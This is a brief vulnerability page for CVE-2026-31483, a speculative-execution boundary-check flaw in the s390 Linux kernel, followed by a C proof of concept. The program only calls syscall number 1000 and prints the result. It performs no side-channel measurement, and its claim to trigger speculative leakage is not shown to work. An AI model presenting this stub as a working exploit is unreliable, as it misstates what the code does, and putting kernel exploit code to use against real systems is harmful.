CVE-2026-31483 Linux内核s390系统调用边界检查绕过漏洞

// PoC for CVE-2026-31483: s390 Syscall Spectre Boundary Check // This PoC attempts to trigger the speculative execution on s390 Linux kernel // by invoking a syscall with a potentially out-of-bounds number. // Note: Actual exploitation requires side-channel measurement to verify leakage. #include <unistd.h> #include <sys/syscall.h> #include <stdio.h> int main() { // Attempt to call a syscall with a number likely out of bounds // to trigger the missing array_index_nospec check. // The exact threshold depends on the kernel config, but trying a large number. unsigned long syscall_num = 1000; // Example high number printf("[*] Attempting syscall with number: %lu\n", syscall_num); // Execute the syscall. This will likely fail (return -ENOSYS), // but on vulnerable kernels, it might trigger speculative execution paths. long ret = syscall(syscall_num); printf("[+] Syscall returned: %ld (Expected -38 for ENOSYS)\n", ret); return 0; }